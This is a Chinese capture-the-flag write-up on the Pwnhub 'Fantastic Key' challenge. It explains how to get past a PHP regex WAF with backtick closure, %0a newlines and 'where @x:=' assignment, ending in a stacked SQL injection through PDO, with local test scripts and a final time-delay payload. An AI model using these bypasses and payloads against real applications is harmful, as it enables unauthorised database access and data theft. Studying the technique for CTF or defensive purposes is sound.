Pwnhub Fantastic Key-一点总结

index.php

error_reporting(0);
include 'config.php';
$id = $_POST['i'] ? waf($_POST['i']) : rand(1, 8);
$v = $_POST['v'] ? waf($_POST['v']) : 'anime';
$sql = "desc `acg_{$v}`";
if (!$conn - > query($sql)) {
    die('no such table');
}
$sql = "SELECT * FROM  acg_{$v} where id = '$id'";
$result = $conn - > query($sql);
if (!$result) {
    die('error');
}
foreach($result as $row) {
    print " \t";
    print "$row[1]

"; }

?>

config.php

 php 
$con = "mysql:host=localhost;port=3306;dbname=acg";
$conn = new PDO($con, 'user', 'user');
$conn - > query('set names utf8');
 
function waf($s) {
    if (preg_match(
        "/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*||do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i", $s) !=
        false || strlen($ s) > 10000) die();
    return $s;
} 
?>

trick1:

源码里用到了PDO来进行sql查询,那么PDO有一个特性就是支持堆叠语句。那么堆叠语句就可以结合prepare进行堆叠注入,这里可以到后端的参数包括i和v,这里id参数肯定没法闭合,因为单引号过滤了,并且-和#也被过滤了,那么注释肯定也不可以使用。那么能利用的参数就是$v这个变量,此时它被反引号包裹着,并且此时waf中包裹着反引号,那么可以使用反引号来进行闭合。并且后面的反引号也可以使用一个反引号进行闭合,这个点以前还不知道,如下图所示:

Pwnhub Fantastic Key-一点总结_第1张图片

那么如上图所示跟在后面的where语句也是正常执行了,否则不可能返回空,因此可以在此进行闭合。

当然这里测试了一下如下直接加反引号也是不影响sql语法的,只是不会产生语义影响。

Pwnhub Fantastic Key-一点总结_第2张图片

 Pwnhub Fantastic Key-一点总结_第3张图片

那么这应该是第一个点。

trick2:

首先测试一下堆叠注入:

php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='desc `admin`;select sleep(5);';
$result = $conn ->query($v);

Pwnhub Fantastic Key-一点总结_第4张图片

但是题目这里虽然pdo支持堆叠,但是空格被过滤了,*也被过滤了,然而%没有被过滤,因此可以用%0a来代替空格,并且如果要用堆叠注入,那么set、prepare、from、execute,=肯定不能被过滤,这里set被过滤了,=可以用,from可以用,prepare和execute在用正则进行匹配时,用到了.,我们知道如果用.进行任意字符匹配,那么则不包括换行符,因此这里直接用prepare+%0aj即可绕过waf对该关键字的过滤,本地测试如下:

php
$a=urldecode('prepare%0aa');
function waf($s)
{
#echo $s;
if (preg_match("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i",$s)!=false||strlen($s)>10000){
echo "waf";}
        else{
        echo $s;
                }
}
waf($a);

 可以看到此时绕过了waf,所以prepare和execute都可以加上%0a来绕过,那么接下来还有一个trick就是waf里面过滤了set,然而我们知道堆叠注入需要使用set来指定execute要执行的sql语句,这里用到了where来替换set,然后取where所赋值的变量的值来进行执行。本地测试一下:

php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='select * from admin where @x:=0x73656c65637420736c656570283329;prepare st from @x;execute st;';
#$v='desc `admin`;select sleep(5);';
echo "123";
$result = $conn ->query($v);
echo "345";

Pwnhub Fantastic Key-一点总结_第5张图片

 

 可以看到此时也已经成功延时了,说明用where来代替set的赋值是可行的,但是本地这里直接测试以下语句并没有成功延时:

php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='desc `admin` `where @x:=0x73656c65637420736c656570283329;prepare st from @x;execute st;`';
#$v='desc `admin`;select sleep(5);';
echo "123";
$result = $conn ->query($v);
echo "345";

我猜应该是版本的问题,但是我没时间测,有师傅测出来说一下。我的本地版本如下所示

但是到这里确定能用where来代替set了,那么题目中使用一下payload就能延时:

v=anime`%0a`where%0a@x:=0x73656c65637420736c656570283329;prepare%0ast%0afrom%0a@x;%0aexecute%0ast;&i=

其中16进制值是select sleep(5),延时成功后就能进而查表查找flag了

Pwnhub Fantastic Key-一点总结_第6张图片

 

 

 

你可能感兴趣的:(Pwnhub Fantastic Key-一点总结)